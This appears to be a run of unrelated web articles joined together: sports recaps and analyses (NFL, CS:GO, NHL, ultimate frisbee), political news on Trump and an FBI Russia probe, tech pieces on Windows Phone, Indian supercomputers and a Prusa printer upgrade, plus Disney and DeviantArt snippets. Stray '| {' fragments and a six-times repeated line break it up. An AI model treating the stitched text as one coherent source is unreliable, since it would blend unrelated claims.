When it came to batting Ponder's pass, Robinson didn't even know Peppers had intercepted it. It had a domino effect with linebacker Jamari Lattimore and safety Morgan Burnett forcing turnovers on the Vikings' following two possessions.
Robinson said this can't be his and the defense's ceiling. What do his teammates think?
"I'm very proud of him," defensive lineman Mike Daniels said. "He came and he worked and he worked from there on out. You see it carried all the way through to making the team. He worked out there tonight. I'm very impressed by him and very proud of him."
[email protected] and follow him on Twitter @WesHod. | {
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The North American Regional Qualifier for WESG 2017 has been brought to an end, with SK claming the #1 spot after a 2-1 victory over Cloud9 (16-9 Train, 10-16 Overpass, 16-6 Inferno).
This regional qualifier for WESG took place online, with six teams playing a BO1 round-robin format and all but one team advancing to the World Finals. After Mythic pulled out of the competition, all six remaining teams earned their ticket for China, even subtLe who finished with a 0-5 score.
The four best-placed teams after the group stage advanced to the playoffs. The two favorites Cloud9 and SK advanced to the grand final as expected, the former beating Swole Patrol and the latter getting a forfeit win over FRENCH CANADIANS. The third-place decider, which made the difference between a $5,000 and $2,500 cheque featured another forfeit, with Swole Patrol being the team to throw in the white towel this time.
SK secured a $20,000 prize by defeating Cloud9
Train was the map the grand final kicked off on, and despite it being Cloud9's, pick, the Brazilians were dominant right from the start. After an 11-4 CT half, it was just a matter of time before SK closed it out, with Marcelo "coldzera" David managing 30 kills before the end.
On Overpass, one of SK's best maps, a Timothy "autimatic" Ta-powered Cloud9 was able to plow through the Brazilians, finishing the Terrorist half with a strong 9-6 lead. After the switch, the Americans took the pistol and two followups, eventually closing the map 16-10.
Inferno came into play as the decider, but similarly to Train, SK got rolling on the CT side and didn't let go. A 13-2 half was kicked off by a force-buy win after the pistol, and a lead like that saw Gabriel "FalleN" Toledo and co. close out the game easily.
WESG 2017 North America Regional Finals Best of 3 SK Matchpage 2 1 Cloud9 16 Train 9 10 Overpass 16 16 Inferno 6
SK K - D +/- ADR Rating 2.0 Marcelo 'coldzera' Davidcoldzera 72 - 40 +32 96.4 1.46 Gabriel 'FalleN' ToledoFalleN 54 - 45 +9 79.8 1.12 Fernando 'fer' Alvarengafer 47 - 52 -5 77.2 1.05 Epitacio 'TACO' de MeloTACO 44 - 44 0 68.7 1.05 Ricardo 'boltz' Prassboltz 47 - 44 +3 74.9 1.04 Cloud9 K - D +/- ADR Rating 2.0 William 'RUSH' WierzbaRUSH 50 - 51 -1 77.6 1.09 Timothy 'autimatic' Taautimatic 51 - 51 0 76.2 1.03 Jake 'Stewie2K' YipStewie2K 45 - 52 -7 66.5 0.99 Tarik 'tarik' Celiktarik 40 - 56 -16 72.5 0.90 Tyler 'Skadoodle' LathamSkadoodle 39 - 54 -15 52.9 0.87
Final standings: | {
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U.S. President Donald Trump on Saturday called “most insulting” a published report that federal law enforcement officials were so concerned about his behavior in the days after he fired James Comey from the FBI that they opened an investigation into whether he had been working for Russia against U.S. interests.
The New York Times report Friday cited unnamed former law enforcement officials and others familiar with the investigation.
skip - tr
Trump for some reason refuses to give a direct answer to question whether he is a Russian asset or works for the government of Russia. pic.twitter.com/GyjGvVEWXo — Josh Marshall (@joshtpm) January 13, 2019
Update: White House Aides Regret Trump Did Not Clearly Deny Being a Russian Agent on Fox News
Trump reacted Saturday during a telephone interview broadcast on Fox News Channel after host Jeanine Pirro asked whether he is currently or has ever worked for Russia.
“I think it’s the most insulting thing I’ve ever been asked,” he said. “I think it’s the most insulting article I’ve ever had written, and if you read the article you’ll see that they found absolutely nothing.” Trump, however never directly denied the claim, a fact which quickly became a Twitter meme.
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JEANINE PIRRO: "Are you now or have you ever worked for Russia?"
TRUMP: [spends two minutes tossing an alphabet salad that doesn't include the word "no"] pic.twitter.com/KJGVLgYgYk — shauna (@goldengateblond) January 13, 2019 Trump was asked tonight if he is or ever was a Russian agent.
For the record, he didn't say no. Smh. https://t.co/yVAiEVPNw7 — Joe Walsh (@WalshFreedom) January 13, 2019 jeanine pirro asking Trump "Are you a Russian agent" and he doesn't say no?!?!?!!?
I thought he was a better liar than this. pic.twitter.com/5jQCFHanhp — Pochassic (@Pochassic) January 13, 2019
Read more: Trump Threatens to 'Devastate Turkey Economically if They Hit Kurds' | Border Agent Explains to Trump Why a Wall Won't Solve Problems at the U.S.-Mexico Border
Trump went on to say that no president has taken a harder stance against Russia than he has.
skip - Jeanine Pirro with Donald Trump
Jeanine Pirro with Donald Trump - דלג Jeanine Pirro with Donald Trump
“If you ask the folks in Russia, I’ve been tougher on Russia than anybody else, any other ... probably any other president, period, but certainly the last three or four presidents.”
The inquiry forced counterintelligence investigators to evaluate whether Trump was a potential threat to national security. They also sought to determine whether Trump was deliberately working for Russia or had unintentionally been influenced by Moscow.
The Times reported that FBI agents and some top officials became suspicious of Trump’s ties to Russia during the 2016 presidential campaign but didn’t launch an investigation at that time because they weren’t sure how to approach such a sensitive and important probe, according to the unnamed officials. But Trump’s behavior in the days around Comey’s May 2017 firing as FBI director, specifically two instances in which he seemed to tie Comey’s ousting to the Russia investigation, helped trigger the counterintelligence part of the investigation, according to the newspaper.
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Trump tweeted early Saturday that the report showed that the FBI leadership “opened up an investigation on me, for no reason & with no proof” after he had fired Comey.
Robert Mueller took over the investigation when he was appointed special counsel soon after Comey’s firing. The overall investigation is looking into Russian election interference and whether Trump’s campaign coordinated with the Russians, as well as possible obstruction of justice by Trump. The Times says it’s unclear whether Mueller is still pursuing the counterintelligence angle.
Trump’s lawyer Rudy Giuliani told the Times he had no knowledge of the inquiry but said that since it was opened a year and a half ago and they hadn’t heard anything, apparently “they found nothing.”
Trump has also repeatedly and vociferously denied collusion with the Russians.
The Associated Press contributed to this report | {
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When Ben McGreevy settled into his seat at Bridgestone Arena in Nashville Sunday to watch Game 2 of the NHL's Central Division semifinals, he did what he always does when the Winnipeg Jets are in town.
He started giving Dustin Byfuglien the gears.
But he noticed an odd reaction from the two people sitting behind him, who he had already pegged as Jets fans.
"I hear them laughing every single time I throw something at Byfuglien and finally, late in the second period, I stood up, and that's when I say, 'Byfuglien, you're the biggest piece of dirt on the ice!'
"And they just started dying at that," said McGreevy, who decided to apologize to the couple behind him.
Nashville Predators fan Ben McGreevy later learned the parents of Dustin Byfuglien, above, were sitting directly behind him at Sunday's game in Nashville. 'They knew I was trying to have fun with it,' he says. 'We just laughed about it.' (CBC)
"I turn around, and I acknowledge the fact that [Byfuglien's] a good player and that's why I do it, and they stop and say 'No, no, no, we think it's awesome, it's hilarious — he's our son.'"
It was only then that McGreevy realized the Jets fans sitting directly behind him were the parents of the six-foot-five, 260-pound Winnipeg defender.
"I was honestly speechless. My words couldn't come out. I just started stuttering — I've just insulted someone's son for two hours right in front of their face."
No hard feelings
But Big Buff's parents didn't seem to mind at all, and McGreevy and his friends spent the rest of the game chatting with the couple and a childhood friend of Byfuglien who was with them.
"They knew that none of the insults I was hurling were actually to rip on him. They knew I was trying to have fun with it," he said. "We just laughed about it."
Known for being a game changer, Jets defenceman Dustin Byfuglien is heating up at the right time. Here are some of his biggest moments from the physical second-round series against the Nashville Predators. Warning: There may be some bad dance moves. 1:19
McGreevy, who describes himself as the kind of heckler who likes to "keep it casual and light," says it's not the first time he's chirped Byfuglien from his seat at a Predators game — in fact, the defenceman is his favourite target.
"Every Jets game that I've gone to, I like to pick on Byfuglien because the fans in Nashville — and I'm assuming a lot of places — really have disdain for Byfuglien," he explained of his well-honed heckling routine.
"It's his demeanour. You'll see him grab guys — I mean, there's no need for him to be in there.
"So I'll target him because everyone hates him."
McGreevy says he got along famously with Byfuglien's parents — who took questions from his Twitter followers after he started live-tweeting the experience and even high-fived him after the Predators ultimately won the game.
I’m sitting here shouting at Dustin Byfuglien all game about how he is a try hard and a wannabe. <br>The Jets fans behind me kept cracking up. <br>Finally. They told me they were his parents. —@McGreevyBen
So has the chance meeting change McGreevy's stance on heckling? Will he think twice about yelling hurtful words at opposing hockey players now that he knows their loved ones could be near?
"Absolutely not," McGreevy said without hesitation.
"I will take every chance I get to heckle. But I might check around me before the game starts — that is something I might start doing." | {
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New Delhi: The Indian government has begun the process of having 70 supercomputers in the country, which will enable research in different fields ranging from climate, defence and other areas, which a normal computer is ill-equipped for.
The project will not only benefit government agencies, but also the private sector in carrying out high-level research in various fields.
The computer would have a capacity (speed) of half petaflop to 20 petaflop, but by the time the project reaches its full peak, the speed of the supercomputers can go up to 50 petaflop. A petaflop is a measure of a computer’s processing speed and can be expressed as a thousand trillion floating point operations per second.
The entire project will cost around Rs. 4,500 crore and is in its nascent stage. It will come up with association of the Department of Science and Technology (DST) and the Department of Information and Technology (DIT).
The supercomputers, currently confiend to PARAM supercomputers Delhi, will be set up in different parts of country, informed Ashutosh Sharma, Secretary of DST.
The government has formed modalities to discuss nitty-gritty of the project and is expected to be operational by 2022.
The government will allow scientists/researchers affiliated with the government institutions to use the supercomputers for their research in various fields.
“Many companies have scientists doing their research. They need not go abroad for their research and can instead use these supercomputers,” Sharma said.
“We will be having these computers across the country where scientists can come and do their research. These can do calculations which your normal desktop or laptop cannot. It can help in defence simulation, computing, biology and material science and earth science,” Sharma said.
However, there are challenges before the plan is undertaken at a full-scale level. First would be building both software and hardware infrastructure for such a large-scale project and making applications for these supercomputers.
More importantly, the government will need highly skilled manpower for running these supercomputers.
(With PTI Inputs) | {
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It’s been almost 3 years since Microsoft’s mobile OS officially got a major reboot in the form of Windows Phone 7, and it’s been even longer since we saw the first glimpses of this modern OS, no pun intended, back at Mobile World Congress in 2010.
On paper Windows Phone seems like the best thing to happen to humanity since sliced bread and the end of the Black Plague, or at the very least the best thing that could ever happen to Windows Mobile. When it launched it was, and still is today, a very fresh operating system, with a beautiful, bold, original and “authentically digital” UI. It was the only mobile OS to offer Microsoft Office which the enterprise should have drooled over. It was the only mobile OS to offer Xbox Games, a complete sell for gamers and enthusiasts. It was also simple and mostly intuitive, launching on a plethora of devices in a ton of countries. Oh and let’s not forget that it was backed by Microsoft, one of the biggest companies in history with virtually unlimited money and reach.
So why is it that, three years later, this seemingly perfect OS accounts for just 3% of the market? What happened over the years that prevented Windows Phone from taking the world by storm?
New beginnings
Microsoft launched Windows Phone 7 because their previous efforts on Windows Mobile had proven completely unsuccessful in fighting the iPhone’s incredible appeal. Android was also part of the scene and Google was clearly focused on winning this race, so Microsoft had no choice but to start from scratch and come up with something awesome.
And while they did partially come up with something great, they based their whole brand new OS on Windows Mobile, more precisely on Windows CE. This in turn led to limited capabilities of the OS and a spec deficiency that’s still obvious to this day.
Let’s not forget the fact that this being a new OS, it launched on completely new devices and left all of Microsoft’s previous customers out in the cold. Of course this was the right choice in this situation from a business standpoint but people still felt disgruntled.
And 2 years later Microsoft did it all over again. By launching WP7 on CE, they basically condemned all of those devices and customers when they moved to NT in Windows Phone 8. Remember that brand new Lumia 900 that you just bought because “the smartphone beta test is over”? Yeah, congrats it’s obsolete. In fact it was already obsolete before it was announced or conceived. NT was always supposed to be the future, but CE had to be used for a while until WP8 was ready.
I used to argue that this move was necessary. That without launching Windows Phone 7 first, WP8 would have been DOA due to a complete lack of apps and no prior exposure for Microsoft’s UI and design ideas. However I’m no longer convinced by my own argument, and I wonder if waiting another year to launch a fully-fledged NT-based Windows Phone 7.5 wouldn’t have benefited Microsoft a lot more than continuously having to update and support what have become two mobile operating systems.
Specs
Brand new 41Mpx camera - year old Qualcomm S4 CPU
Any Windows Phone user will tell you that most specs are completely meaningless and we have to give an insane amount of props to Microsoft for making that statement a reality when it comes to Windows Phones.
The Redmond company has managed to create an extremely well optimized OS that runs perfectly smooth and lag-free on all devices from the lowest specced Lumia 610 to the most powerful 1020.
But early adopters, geeks and dare I say it, us tech-journos don’t care that much about wider availability of devices or reducing to the lowest denominator. We want the best, the newest the most powerful OCTA CORE HYPERTHREADING OVERCLOCKED i7 processor and a week of battery life if that’s possible.
So when folks first saw the specs on Windows Phone devices they were disappointed and they’ve been disappointed ever since. Windows Phone devices have consistently lagged when it comes to the newest specs, and even though they don’t need them, users want them.
Take a look at Nokia’s latest devices to see what I mean. They’re incredible wonderful devices and yet they still rely on the same one year-old CPUs and screens. When Windows Phone finally got 720p screens, Android was already moving to 1080p. When Windows Phone finally got dual-core, Android was already moving to quad-core.
And don’t get me wrong I know Windows Phones, as opposed to Androids, don’t need those specs to run properly, but the marketing department sure could use them. Speaking of which…
Marketing
Or more exactly the lack of marketing. Since its launch, despite the fact that many companies involved with Windows Phone have promised to heavily invest in its marketing, none have actually made any sort of splash, and that includes Microsoft itself.
Until very recently, read the launch of Windows Phone 8 and the Nokia Lumia 920, the marketing efforts for this OS have been minimal. Remember when Ralph de la Vega of AT&T said they’re committing alongside Microsoft an enormous amount of money to make sure the new WP7 OS would be known to the public? Remember when the Lumia 900 was AT&T’s hero device and operation “Rolling Thunder” was in full swing? Neither do we. Those efforts were half-arsed at best, and they produced little to no results.
And while the marketing budget was spent in the States with virtually zero results, Europe and the rest of the world got two banners and that’s it. Oh, we also got Deadmau5 in London but that was a one time thing and did little to sell any phones.
Instead of focusing on a saturated rich market that’s very hard to penetrate, such as the States, Microsoft and its OEMs should have focused from the start on the rest of world. Instead of going premium they should have gone low-end. They’re actually implementing this very strategy right now with the Lumia 520, 625, etc and it’s proving to be a massive success. So why not do it earlier? Probably because Microsoft thought it could do with Windows Phone what Apple did with the first iPhone.
OEMs and the Nokia factor
If one goes through the original press release that announced Windows Phone 7, one would be amazed by how many companies had promised to support the platform and release handsets in the short-term. Let me reiterate that list for you: Dell, Garmin-Asus, HTC Corp., HP, LG, Samsung, Sony Ericsson and Toshiba. Meaning everybody that was somebody in the smartphone and computer scenes was going along with Microsoft for the ride.
By the time the actual launch came, that list was severely narrowed down to Dell, HTC, Samsung and LG. And as you well know, Dell barely launched its own device and then gave up, with LG doing pretty much the same a short time later leaving Windows Phone in the hands of HTC, a great Microsoft partner in the past, and Samsung an eager company with a ton of resources that was just starting to see its first real returns in the Android market. And while Samsung kept Windows Phone at arm’s length and continued to rake in the market share and the money on the Android front, HTC flip-flopped all around the place like a dying fish, putting out an insane amount of crappy mediocre devices for both Android and Windows Phone. None of those stuck.
Enter Nokia. The once high and mighty company chose Windows Phone and Microsoft because of promised preferential treatment as well as lack of competition from other OEMs and lack of OS fragmentation in the market.
Nokia made mistakes of their own such as going after the US market and the high-end demographic, with the Lumia 800 and later the 900, both of which were sub-par devices when you compare them with the iPhones and Galaxys of their day.
Despite that, they’re finally learning their lesson and they are the only Windows Phone OEM to constantly put out high quality devices at a myriad of price points and with a lot of reach. It took a long time for them to learn this game and to finally make the transition to this new way of doing things, but they did it and their numbers are improving every quarter. Huawei, a new member of the Windows Phone family, is taking the same approach and it's working for them too. Windows Phone seems destined to find its success in the low-end of the market.
However, Nokia is a double edged sword. With the hold they now have on Windows Phone, much like the hold Samsung has on Android, they have become a clear reason for other OEMs to stay away from the platform. So even if, say Sony, wanted to come back to the fold and launch a Windows Phone device they’d have nothing to compete with but build quality and price – and Nokia is acing both of those.
Plus, Nokia has fragmented the Windows Phone ecosystem in a tiny way. They’re bringing value to the OS by launching their own software for the platform in the form of HERE services and awesome camera apps, but they’re also getting a lot of exclusive game titles and apps. And that makes me, as an HTC 8X user, very jealous and willing to switch to a Lumia. And that makes HTC very unhappy, and very desperate, and instead of actually fixing things, by let’s say adding their own exclusive titles to the mix, they keep jumping from platform to platform like a crazed Mario on a bad mushroom trip.
The bottom line is that Nokia is a net positive for Windows Phone right now, but that’s only because of the dire state the OS is in terms of OEM support. Healthy competition all the way and a better distribution of market share would have made the whole ecosystem that much stronger.
Microsoft being Microsoft
There’s one more factor at play here and it’s a big one; Microsoft itself. We’re looking at a new, inspired, fluid, beautiful and fast OS and it comes from the company that launched the Kin phone and killed it a few days later, the company that launched Vista and fixed it a few years later by launching a new OS.
Microsoft is itself in a transition as we have rightly noted so many times before, and this transition pretty much started with Windows Phone 7. The company hasn’t yet figured out how to put out yearly updates for its major products, it hasn't yet figured out how to ship a super polished product and then keep adding on to it in a fast-release cycle.
They’re getting there, but slowly. Far too slow for the incredibly fast paced smartphone race and too slow for us, the customers. Sure, I can argue to you that all the GDRs are incredibly important and that this is a solid foundation for future devices and Windows Phone 8.1, but at the end of the day our phones haven’t received any major updates in a very long time. And the competition is in no way standing still.
Images courtesy of Microsoft, Nokia, Daily Billboard Blog, and my hardworking colleagues ! | {
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This year’s NFL Draft will be done remotely. But even from the comfort of their places of residence, draftees will have to adhere to a certain dress code, according to a report by Pro Football Talk.
Here's the full list of the things that can't be worn by the players who are participating in the stay-at-home draft https://t.co/EwB0sJWokk — ProFootballTalk (@ProFootballTalk) April 19, 2020
Here are a few of the items that cannot be worn, per the obtained memo. No politically-themed references will be allowed.
No “political statements.”
No “racial, religious, or ethnic slurs.”
No “libel or hate speech.”
No “references to alcohol (including beer and wine), drugs (including cannabis), and/or gambling products (including poker).”
No “disparaging depictions of the NFL, or any other third-party brands.”
Basically, the NFL is saying no brand promotion and no politics. You can find the full list here.
I love the NFL dress code for the virtual draft. I don't want to see players political views. If they were there they'd be dressed way up. They don't have to do that but be respectful of the event. — Bobby T (@radiobobbyt) April 19, 2020
The 2020 NFL Draft is scheduled to get started on Thursday.
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Multi Material Upgrade 2S (MMU2S) is a brand new and improved version of the Multi Material Upgrade 2.0. With an easier calibration process, a new filament sensor, and a standalone filament buffer, the MMU2S is more reliable than ever before.
The testing process of the MMU2S took 2 months to finish, we used 20 printers and we printed 478 test blocks designed to test frequent switching of all five filaments. The total value of filament changes was nearly 600.000 . More than 93 % of this prints were successfully completed.
The MMU2S comes with the filament buffer, a device designed to prevent filament tangling during loading / unloading process. The buffer allows you to position the five filament spools more freely and also saves valuable space on your desk.
With the MMU2S we managed to sense not only that the filament is present, but that it actually reached the Bondtech gears . The filament sensor detects when the idler doors open a bit as the filament pushes Bondtechs apart. MMU2S is much more reliable regarding reloading filaments and the calibration process is also simplified .
WITH THE ORIGINAL PRUSA MMU2S WE ARE INTRODUCING:
Multi Material Upgrade 2S (MMU2S) is the second generation of our unique multi-material addon, which enables your Original Prusa i3 MK2.5S/MK3S 3D printer to print with up to 5 filaments at the same time.
Compared to MMU1, the new MMU2S went through a major revision, resulting in a simpler and more reliable design. The number of simultaneously supported filaments increased to the total of five, which enables the users to print even more complex and more colorful objects.
MMU2S comes with a redesigned body and a new filament loading mechanism. Instead of the previous Bowden system, the new unit uses a direct-drive feed and a single PTFE tube to lead the selected filament to the extruder. The motorized selector head has a F.I.N.D.A filament sensor and a built-in blade, which prevents filament jamming.
Read more about MMU2S in the announcement blog post at Prusaprinters.org and in this upgrade article.
SEE THE MMU2S IN ACTION! Introducing MMU2S How does MMU2S work?
MAIN FEATURES The most significant new features of Original Prusa i3 MMU2S COMPLETELY REDESIGNED MMU2S has a brand new body with a rotating pulley barrel and a single extruder motor. Load up to 5 filaments and the selector head with a filament-cutting blade will take care of automatic loading and unloading. FIVE MATERIALS The second generation of our Multi Material Upgrade supports up to 5 filaments loaded at the same time. Apart from usual materials like ABS, PETG or PLA, the MMU 2.0 also works great with soluble supports (BVOH or PVA). DIRECT DRIVE We have replaced the previous generation's Bowden system with a new direct-drive mechanism. This change is a major step forward in making the filament loading process more reliable and less prone to jamming. F.I.N.D.A FILAMENT SENSOR Meet F.I.N.D.A! It's essentialy a repurposed P.I.N.D.A probe, which now serves as a filament sensor. It works on a mechanical basis - the string of filament lifts a small stainless steel ball and F.I.N.D.A detects its proximity. WIPE INTO INFILL / OBJECT Our slicing software Slic3r PE comes with full MMU 2.0 support and a set of useful features, such as Smart wipe tower, Wipe into infill or Wipe into object. These features help you save time and filament. FILAMENT BUFFER INCLUDED The MMU2S comes with the Filament Buffer, a device designed to prevent filament tangling during loading / unloading process. The buffer allows you to position the five filament spools more freely and also saves valuable space on your desk.
FULL FEATURES LIST MULTI MATERIAL UPGRADE 2S FEATURES Completely redesigned body : less complex and more reliable design
: less complex and more reliable design Printing with up to five filaments at the same time
Old Bowden system replaced with a direct-drive loading mechanism with only a single PTFE tube leading filament to the extruder
Less sensitive to filament quality
Second generation electronics
F.I.N.D.A. filament sensor
filament sensor Motorized selector head with filament cutter
Power loss detection and recovery
Smart software features : Smart wipe tower, Wipe to infill, Wipe into object and many more
: Smart wipe tower, Wipe to infill, Wipe into object and many more Works in two modes : Multi-Material Mode and Single Mode (Single mode is the same as printing on MK3S/2.5S).
: Multi-Material Mode and Single Mode (Single mode is the same as printing on MK3S/2.5S). Includes the Filament Buffer, a device designed to prevent filament tangling COMPATIBILITY INFORMATION Printer Compatibility: Original Prusa i3 MK3 and MK3S
Original Prusa i3 MK2.5 and MK2.5S Please note that the MMU2S package contains the parts for the Multi Material extruder MK3S/MK2.5S upgrade, the MMU2S unit, and the Filament Buffer. You don't need to order MK3S/MK2.5S upgrades separately. Material Compatibility: PLA
ABS
PETG
Soluble Materials (BVOH, PVA) | {
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The Larsadie reunion is near.
The Larsadie reunion is near.
The Larsadie reunion is near.
The Larsadie reunion is near.
The Larsadie reunion is near.
The Larsadie reunion is near. | {
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Sep 11, 2018
Mickey Mouse will celebrate his 90th birthday in Egypt this year, and other Walt Disney characters, including Aladdin, Rapunzel from “Tangled” and Sheriff Woody from “Toy Story,” will be busy entertaining Egyptian fans in Cairo Sept. 26-Oct. 6.
After shows in Egypt in 2014, “Disney Live!” is returning to the land of the pharaohs, where the multitudes are fond of the performances by Disney characters. The Ministry of Tourism and the Ministry of Investment and International Cooperation are co-sponsoring the shows.
“Disney, in particular, is a commercial brand known to everyone,” Minister of Tourism Rania el-Mashat remarked Aug. 28 at a news conference in Cairo to announce the revue's run in the Egyptian capital. “The decision by Walt Disney to revive its shows in Egypt represents a certificate of confidence in Egypt and evidence that the country enjoys the security necessary to attract tourists.”
Mashat added that her ministry plans to create an entertainment agenda that generates a variety of options for tourists and will present it in 2019. “One of the themes of the promotional campaign that will soon be launched by the ministry is ‘People for People,’ as others are interested in knowing what Egyptian culture offers humanity and how Egypt and its culture is open to the world,” Mashat said at the conference.
Steve Armstrong, regional marketing director at Feld Entertainment, the production company for “Disney Live!,” also spoke at the Aug. 28 press conference, remarking, “We are bringing everything to the show. It is very exciting. Every family will love it.” The revue features Mickey’s Magic Show and includes 20 characters from Disney's most popular stories, movies and programs, according to Armstrong. | {
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Keep advancing By Ardail Watch
219 Favourites 43 Comments 2K Views
Finally finished this picture
Kind of an idea I had of the sombra war turning into a drawn out war that eventually leads to advances in technology as both sides fall into a stalemate
A LOT of experimenting with this picture, never used these color pallets, haven't drawn tanks much, or drawn fire with explosions much so it was quite the new experience
Hopefully it looks alright, I know of like how some of the smaller details turned out
EDIT:not sure if it's DA's servers but nobody can see this image unless you zoom in, guess we'll have to see if something changes later :/
IMAGE DETAILS Image size 5700x3300px 1.4 MB Show More
Published : Feb 28, 2017 | {
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Sandy, Surge, and Understanding Star Defense, Powered by Agility from Five Ultimate
Scandal's Sandy Jorgensen and Riot's Sarah "Surge" Griffith are two of the game's most impressive defenders, in any division. Learn from their techniques and styles in this video analysis about great defense.
In the women’s club scene, two individuals have separated themselves from the pack with their defensive abilities. Seattle Riot’s Sarah “Surge” Griffith and Washington D.C. Scandal’s Sandy Jorgensen, headliners of the 2013 Ultiworld All-Club 1st Team, have established the gold standard for defense in women’s ultimate.
What exactly make them great, how do other elite women’s defenders compare to the best, and what can other players learn from them about playing — and beating — great defense?
Interestingly, the two players have quite different styles. Griffith plays straight out of the textbook, shutting down opponents with precise positioning, a relentless workrate, exceptional focus — following all the obvious rules for defense, just doing it better than anyone else. Jorgensen, capitalizing on her elite length and speed, plays defense like a ball-hawking safety in football, running down blocks that seemed impossibly out of reach.
How Good Are They?
One thing that both players have in common? They generate blocks and interceptions at a freakish rate. The average number generated in our dataset of elite womens players was 3; on a per-possession basis, the average defender got a block or interception on 3% of her defensive possessions. Jorgenson and Surge generate blocks about four times the rate of the average player. Also included in this list are Fury’s Lakshmi Narayan and Showdown’s Enessa Janes (more on them later).
Player Name Narayan Surge Jorgensen Enessa Elite Womens Average DLine Points Played (Sample Size) 62 46 107 42 38.37 Blocks and Interceptions (per Dposs) 8 (6.2%) 14 (12.5%) 18 (10.7%) 6 (8.2%) 3.06 (3.2%) Goals Against Per DPossession Played 0.031 0.009 0.047 0.041 0.043 Yards Against Ratable Share 13% 12% 20% 9% 14% Odds of Giving Up Touch (Defensive Disusage) 16% 13% 12% 14% 14% Ultiworld D Rating (Rank in dataset) 0.60 (33) 2.73 (2) 1.05 (17) 1.44 (13) N/A Def. EC (Rank in dataset) 0.39 (5) 2.81 (1) -0.65 (29) 0 (10) -1.57
Another way to describe their amazing performance: These two players were so defensively dominant in 2013 that smart money says they will inevitably perform worse in 2014. In part opposing teams will adjust to them; in part, Surge and Jorgensen were so far beyond their peers that they must regress some back to the mean.
San Francisco Fury (and Team USA) coach Matty Tsang and Seattle Riot’s Gwen Ambler were both full of praise for the two stars. “Sandy is currently in a league of her own when it comes to defenders that combine speed, size, and an aggressive attack to rule the air,” Ambler said. “Scandal has designed entire defensive schemes around Sandy’s dominant play on deep shots, directly contributing to their championship run last season.”
If Jorgensen is the best in terms of highlights and storylines for the fans, Surge may be even better in terms of an example for younger players to follow. “I was teaching someone defense I would have them watch Surge,” Tsang told Ultiworld. “[With a unique ability to guard both handlers and cutters well], Surge is one of the best.”
How Do They Do It?
SARAH “SURGE” GRIFFITH — Speciality: Perfect Positioning
Statistical and video analysis of Griffith point in the same direction — Surge was the best all-around defender in the game last season. Yes, she is a first-rate athlete, but her effectiveness comes from combining that athleticism with intelligent positioning and incredible hustle. In addition to generating a crazy amount of blocks, the stats say that Surge almost never gives up goal — while giving up a below average number of touches and yards (despite often times taking the toughest matchups).
In the clip below, watch as Griffith (6) shuts down Octavia Payne, one of the best players in the world and the focal point of Scandal’s D-line offense, as Payne makes a series of cuts in the primary cutting lane.
https://www.youtube.com/watch?v=8ZRdsbK0eZ8
Griffith uses her body to stop Payne from getting near the disc on the open side, forcing Payne to give up on most of her cuts. We also see that whenever Payne is not a threat, Griffith moves out into throwing lanes to take away offensive options. She is always in a position to make the next throw harder, and isn’t afraid to play spatiality-conscious defense even when covering a talent such as Payne.
While her field positioning is flawless, Griffith also distinguishes herself with her footwork. In an article discussing her defensive approach, Griffith emphasizes positioning and footwork.
I think that this applies pretty directly to Ultimate. In my mind, there are three phases of defensive footwork: the first is backpedaling/ drop-stepping where your body is essentially a mirror image of the offense; the second is when you’ve committed your hips to the cut but your upper body is on the cutter/field; the third is when you’ve committed your whole body to the cutter’s position and line. The best defenders stay in phases 1-2 more often.
Reading Surge talk about her defense makes it clear that she excels in two different types of positioning. Yes, there’s positioning based on how you set up in relation to your man — fronting, backing, getting into the lane, poaching off into center field, or staying within arms reach to dissuade a throw. Surge obsessively adjusts this spatial positioning based on where the disc is on the field, who’s throwing, and who she is covering.
Ambler notes this as a huge strength of her teammate.”[Surge] has spent countless hours studying film and analyzing play to develop an incredibly nuanced field sense,” Ambler says. “As a result, she can seamlessly transition from shutting down her player to clogging the lanes and pressure other options, depending on what is most dangerous in the moment. “
But, as Surge’s own defensive article emphasizes, there’s also “positioning” as it relates to a defensive stance.1 Lots of good defenders focus on the spatial positioning aspect, but Surge emphasizes both. She’s conscious about how she moves weight through her body and when she turns her hips, staying low until she decides to commit. She is also conscious about her footwork, trying to moving her feet more often than her offensive player and trying to avoid parallel footwork.2. The image below shows the perfect Surge posture — the clip shows how she naturally avoids parallel feet, while also maintaining a slight crouch/knee bend, able to react and explode quickly.
Once when she does commit, Surge uses her knowledge of the offense’s objectives to take an ideal angle, usually closing whatever small window might have existed. In the below video, Griffith is forcing her opponent under and gives 5-10 yards of padding, but makes the interception on an under cut because of her instant reaction, angle of attack, and insane closing speed.
Note that although she excels at sticking to her defending without over-committing, she does fully commit in one direction when the throw is likely or the risk is minimal. Both conditions apply here, and she closes full speed.
Closing Full Speed Clip
On the rare occasions when Griffith’s opponent catches the disc (usually a broken mark, it seems), she somehow turns her motor to a higher gear on the mark. She moves constantly as a mark, but her activity is informed by awareness of offensive objectives. Consider the two plays below, where she uses the split-second before she sets to identify downfield options in order to contest the throwing lane.
Video 1 – 25:35 – 25:42 “Griffith footblock”
Video 6 – 1:10:43 – 1:10:54 “Griffith challenges downfield look”
Griffith credits her mental approach for much of her defensive effectiveness, as we could see in the above clips as she identified and took away the thrower’s best options. Here is another example—from the wing position in Seattle’s zone—of recognizing the offense’s objective far enough in advance to break up the pass. Notice that Griffith starts sprinting to the passing lane before the thrower has begun her throwing motion. She is able to do this because she is imitating the offense’s thought process. Both her and the thrower recognized the appealing downfield continuation around the same time. Advantage: Griffith.
gfycat.com/WideVapidCaimanlizard
SANDY JORGENSEN — Speciality: Speed and Recovering
There’s more than one way to skin a cat, and Sandy Jorgensen’s unorthodox defensive style has brought remarkable success. Jorgensen has defied defensive convention on her way to becoming one of the most effective defensive players in the world. While Griffith’s shutdown style emphasizes work before the disc is thrown, Jorgensen makes her impact after the throw goes up. She follows her opponent around, to be sure, but her footwork and positioning are a far cry from the Griffith glue treatment.
While Griffith is almost obsessive-compulsive about always adjusting her positioning, hips, and footwork, Jorgensen at times walks or jogs near her opponent.3. At times it looks lazy, but Jorgensen is also devoting more of her attention to the thrower. Jorgensen is content to allow her opponent some separation if it means she can see every throw developing, save some energy, and then spring into action when the disc is released. When the disc starts to slow down, so will Jorgensen — a bit unlike Surge, her positioning responses are based more on the disc alone.4.
Video 1 – 34:23 – 34:33 “Jorgensen recovers deep”
Video 2 – 1:03:18 – 1:03:26 “Jorgensen recovers under”
None of this would be possible, of course, without Jorgensen’s length, speed, and grace. Not only does she erase space in the blink of an eye, but she reaches her long arms out with perfect timing and control to consistently break up passes without creating contact. Watch in the clips below as she catches up and makes an effortless break-up.
Video 3 – 19:17 – 19:23 “Jorgensen speed and length”
